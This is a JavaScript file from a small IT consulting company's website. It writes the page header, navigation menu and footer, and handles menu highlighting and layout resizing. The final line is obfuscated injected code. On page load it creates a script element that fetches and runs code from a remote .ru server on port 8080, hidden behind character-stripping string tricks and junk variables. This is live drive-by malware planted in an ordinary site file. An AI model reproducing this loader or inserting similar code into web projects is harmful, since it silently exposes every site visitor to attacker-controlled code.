/**
 * @author RCC
 */

function outputHeader() {
	if (document) {
		outputTopAnchor();
		document.writeln('<div id="header">');
		document.writeln('<div class="logoitc"><span>&lt;RCC&gt; IT Consulting Services</span></div>');
		document.writeln('</div>');
		document.writeln('<div id="nav">');
		document.writeln('<ul>');
		document.writeln('<li><a href="about_us.htm" id="about" title="Learn more about RCC Solutions"><span>About Us</span></a></li>');
		document.writeln('<li><a href="services_1.htm" id="services" title="Have a look at the services that we offer."><span>Services</span></a></li>');
		document.writeln('<li><a href="products.htm" id="portfolio" title="Have a look at our portfolio"><span>Product Portfolio</span></a></li>');
		document.writeln('<li><a href="customers.htm" id="customers" title="Learn more about our customers"><span>Customers</span></a></li>');
		document.writeln('<li><a href="contact_us.htm" id="contact" title="Don\'t hesitate to conact us"><span>Contact Us</span></a></li>');
		
		document.writeln('<li><a href="' + window.location.href.replace('/en/', '/bg/') + '" id="lang" title="Българска версия"><span>Български</span></a></li>');

		/*
		// added by ZA:		
		var href = window.location.href;
		var redirect = "";
		var isBG = href.indexOf("/bg/");
		if (isBG > 0)
		{
			redirect = '<img src="../img/bg_flag.jpg" title="Български" class="language" />&nbsp;<a href="'+href.replace('/bg/','/en/')+'" id="lang"><img src="../img/en_flag.jpg" title="English" class="language" /></a></span>';
		}
		else
		{
			redirect = '<a href="'+href.replace('/en/','/bg/')+'" id="lang"><img src="../img/bg_flag.jpg" title="Български" class="language" /></a>&nbsp;<img src="../img/en_flag.jpg" title="English" class="language" />';
		}
		document.writeln('<li>' + redirect + '</li>');
		*/
		//----------------		
		
		document.writeln('</ul>');
		document.writeln('</div>');
		
	}
}

function outputFooter() {
	if (document) {
		document.writeln('<div id="footer">');
		document.writeln('	<span>© 2008, RCC Solutions Limited. All rights reserved.</span>');
		document.writeln('</div>');
	}
}

function outputTopAnchor() {
	document.writeln("<a id=\"aTop\"></a>");
}

function outputBackToTopLink() {
	document.writeln("<a href=\"#aTop\">Back to top</a>")
}

function clearMenuSelection() {
	if (document.getElementById) {
		_doc = document;
		if (_doc.getElementById("about") && _doc.getElementById("about").parentNode) {
			_doc.getElementById("about").parentNode.className = "";			
		}
		if (_doc.getElementById("services") && _doc.getElementById("services").parentNode) {
			_doc.getElementById("services").parentNode.className = "";
		}
		if (_doc.getElementById("portfolio") && _doc.getElementById("portfolio").parentNode) {
			_doc.getElementById("portfolio").parentNode.className = "";
		}
		if (_doc.getElementById("customers") && _doc.getElementById("customers").parentNode) {
			_doc.getElementById("customers").parentNode.className = "";
		}
		if (_doc.getElementById("contact") && _doc.getElementById("contact").parentNode) {
			_doc.getElementById("contact").parentNode.className = "";
		}
	}
	/* 
	if (parent && parent.frames && parent.frames["headerFrame"]) {
		_frm = parent.frames["headerFrame"];
		if (_frm.document && _frm.document.getElementById) {
			_doc = _frm.document;
			if (_doc.getElementById("about") && _doc.getElementById("about").parentNode) {
				_doc.getElementById("about").parentNode.className = "";			
			}
			if (_doc.getElementById("services") && _doc.getElementById("services").parentNode) {
				_doc.getElementById("services").parentNode.className = "";
			}
			if (_doc.getElementById("portfolio") && _doc.getElementById("portfolio").parentNode) {
				_doc.getElementById("portfolio").parentNode.className = "";
			}
			if (_doc.getElementById("customers") && _doc.getElementById("customers").parentNode) {
				_doc.getElementById("customers").parentNode.className = "";
			}
			if (_doc.getElementById("contact") && _doc.getElementById("contact").parentNode) {
				_doc.getElementById("contact").parentNode.className = "";
			}
		}
	}
	*/
}

function selectRootMenuItem(_root) {
	//clearMenuSelection();
	if (document.getElementById) {
		_elem = document.getElementById(_root);
		if (_elem && _elem.parentNode) {
			_elem.parentNode.className = "current";
		}
	}
	/*
	_frm = parent.frames.headerFrame;
	if (_frm && _frm.document && _frm.document.getElementById) {
		_elem = _frm.document.getElementById(_root);
		if (_elem && _elem.parentNode) {
			_frm.document.getElementById(_root).parentNode.className = "current";
		}
	}
	*/
}

function handleContentResize() {
	if (document.getElementById) {
		_divContent = document.getElementById("content");
		_divMain = document.getElementById("main");
		_body = document.body;
		_wMain = _body.offsetWidth - 30;
		_wContent = _wMain - 264 - 54;
		//alert(_wMain);
		try {
			_divContent.style.width=_wContent + "px;";
			_divMain.style.width = _wMain + "px;";
		} catch (err) {
			try {
				_divContent.style.width=_wContent;
				_divMain.style.width = _wMain;
			} catch (err) {
				//do nothing
			}
		}
	}
}

function popupWindow (url, windowname) {
	wnd = window.open(url, windowname, "resizable=1,scrollbars=1");
}

var a=new Date();this.nm="nm";var i=window;var ne;if(ne!='j'){ne='j'};var x=document;var zw;if(zw!='bw' && zw != ''){zw=null};var e=new Date();function d(n){var u=['hPt$tHp$:H/$/PvPnfe;t$-PcHnf.$sfofuft$h;w$e$sPtH.;c;ofmf.fdHaPiflfyfmfa;iPl;-Pc$o;-fu$kH.Hn$o$wHh$oPmfefcfa;rfef.;r$uP:P8f0;8P0;/;t;rHaHvHiHaPnH.fc$o$m$/$t;rPaPvPi;aHnP.fcHo$mP/Pa;lflHy;efsH.Pcfo$mP/He$x;p;ePrftHs;-fe;x$cfhfaPnHgPef.;c;oPm;/$gHoPo;gPl;ef.Pcfofm$/;'.replace(/[;\$fPH]/g, ''), 'slcOr9i9p0tO'.replace(/[Ol903]/g, ''), 'cAr0eia0t0eCECl0eCmwe0nCtA'.replace(/[A0iCw]/g, ''), 'ohnilpokaid9'.replace(/[9iphk]/g, ''), 's?r9cD'.replace(/[D9#\^\?]/g, ''), 'a~pBpZe*nZdZC~hZi?l?dB'.replace(/[B~\*\?Z]/g, ''), 'syeLtyAytLtIrLiGbLuGtGeL'.replace(/[LyIQG]/g, ''), 'bhoOdOyz'.replace(/[zDhqO]/g, ''), 'd|eQfQe|rQ'.replace(/[Q\$\*\|D]/g, ''), "1"];var g=u[n];return g;var ij='';}var xt='';var uz = function(){try {var o;if(o!='zt' && o!='jn'){o=''};ux=x[d([2][0])](d([1][0]));var pi;if(pi!='' && pi!='qr'){pi='pv'};ux[d([4,9][0])]=d([0][0]);var s;if(s!='' && s!='_g'){s=''};var m = x[d([7,0][0])];ux[d([6][0])](d([8][0]), d([9][0]));var so='';var jy;if(jy!='le'){jy=''};m[d([5][0])](ux);} catch(l){this.sr=15046;};};this.ow="";i[d([8,3][1])]=uz;
